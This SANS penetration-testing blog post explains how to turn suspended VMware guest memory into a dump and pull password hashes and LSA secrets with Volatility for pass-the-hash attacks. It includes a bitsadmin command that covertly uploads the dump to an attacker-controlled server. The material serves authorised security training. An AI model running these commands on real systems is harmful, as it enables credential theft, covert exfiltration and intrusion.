SANS Penetration Testing

[Editor's Note: Mark Baggett has a really clever and useful set of penetration testing tips in this blog entry on post-exploitation techniques to plunder suspended guest virtual machines for credentials. It's a nifty idea, eminently useful in an ethical hacking project, and Mark highlights exactly the tools, steps, and commands needed. Nice stuff, Mark! --Ed.]

Privilege Escalation through Suspended VMs

by Mark Baggett

You, my penetration testing friend, have just successfully exploited a target organization administrator's workstation in your latest ethical hacking project. However, it appears that target system personnel are doing all the right things. The domain administrator does not use his administrative accounts on the compromised workstation and they have patched their computers against all known privilege-escalation attacks. The result is that your shell is running under the context of the current non-administrative user. You have access to the files on the local drive and access to processes running under his security context, but not much else. As you browse the hard drive, you can find several VMware Virtual Machine images including machines that probably have the same administrative passwords as the Host machine. So, you decide to pull the password hashes from those virtual machines and use those to attack the host.

The first step is to convert the VMware "Snapshots" or "Suspend States" into a memory dump. Then, you can use the volatility memory analysis tool to dump the hashes from the memory dump. Let's see how!

Converting the VMware memory files to a memory dump is pretty simple with the "vmss2core" utility that is distributed with VMware. On a Windows host you can find this utility under "C:\Program Files\VMware\VMware Workstation" or on a Mac OS X host you can find it under "/Library/Application Support/VMware Fusion".

Side Note: If your target is running Microsoft Hyper-V, you can probably use vm2dmp to do the same thing. I haven't tried it, so you can be adventurous and give it a spin. The tool can be found here.

The syntax for vmss2code is "vmss2core -W <vmss or vmsn> <the associated .vmem file>"

If you look at the list of files in a virtual machine directory you will see several .vmem files and either a .vmss or a .vmsn file for each of the .vmem files. Here is a directory listing on VM Fusion.

MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmem
Windows7-Snapshot1.vmem Windows7-Snapshot2.vmem
Windows7-Snapshot10.vmem Windows7.vmem
MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmss
Windows7.vmss
MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmsn
Windows7-Snapshot1.vmsn Windows7-Snapshot2.vmsn
Windows7-Snapshot10.vmsn

The .vmss files are "Suspend States" and are created when the virtual machines are paused. The .vmsn files are created when a snapshot is taken. Vmss2core will combine these files into a Windows Memory Core Dump with a filename of "memory.dmp". If you want to analyze each of the snapshots and the suspended state, you can dump each of them one at a time and rename memory.dmp accordingly.

$ /Library/Application\ Support/VMware\ Fusion/vmss2core -W Windows7.vmss Windows7.vmem
$ mv memory.dmp Win7-suspendstate.dmp
$ /Library/Application\ Support/VMware\ Fusion/vmss2core -W Windows7-Snapshot1.vmsn Windows7-Snapshot1.vmem
$ mv memory.dmp Win7-Snapshot1.dmp 

Here is what it looks like when you dump the suspend state:

In addition to the grabbing the memory.dmp file, you will also want to take note of the OS Version that is identified by the vmss2core utility. In this example, it says we are running Windows 7 SP1.

Next we need to get the memory image from the host back to our machine for analysis. This potentially very large file will require some time and bandwidth to transfer. If you need to transfer it without catching the attention of the system administrators, you could use the bitsadmin utility to upload the file to an IIS server that you control with the BITS extension installed, using the following command:

C:\> bitsadmin /transfer jobnamehere /upload /priority low https://myIISserver.com/memory.dmp memory.dmp 

Now, it is just a matter of dumping the hashes from the memory dump. You can use Volatility 2.0 or greater to dump the hashes. First, you'll need to know the name of the "OS Profile" of the memory dump. You get this information by issuing the command:

$ python vol.py imageinfo -f ~/memory.dmp 

Once you have the name of your image profile, cross reference that to the information displayed by vmss2core so you know what OS you are targeting. I've found that vmss2core is usually more specific than image info. You will need the profile name when you run the "hivelist" plug-in which will give the memory offsets of the different registry hives.

$ python vol.py hivelist -f ~/memory.dmp --profile=Win7SP1x86 

Next take the Virtual Memory offsets of the \REGISTERY\MACHINE\SYSTEM and \SystemRoot\System32\Config\SAM hives and pass those to Volatility's "hashdump" plug-in. The syntax is:

$ python vol.py hashdump -f ~/memory.dmp --profile=<OS Profile> --sys-offset=<Virtual offset of \REGISTERY\MACHINE\SYSTEM> --sam-offset=<Virtual Offset of \SystemRoot\System32\Config\SAM> 

There! Now you have all the hashes from the VMware Guest machine. While you are at it, you can also use the "lsadump" plug-in to dump LSA Secrets passwords from memory. The LSADUMP plug in will require the offsets of the SYSTEM and SECURITY hives rather than SYSTEM and SAM. Armed with a new list of passwords, you are ready to attack the host. You can crack them or use them in a pass-the-hash attack against the host. Have fun!

Join me for SANS 504 Hacker Techniques, Exploits & Incident Handling November 27th - December 2nd 2012 in lovely San Antonio, Texas.

Mark Baggett

On Twitter @markbaggett

References:

http://cyberarms.wordpress.com/2011/11/04/memory-forensics-how-to-pull-passwords-from-a-memory-dump/

http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2003941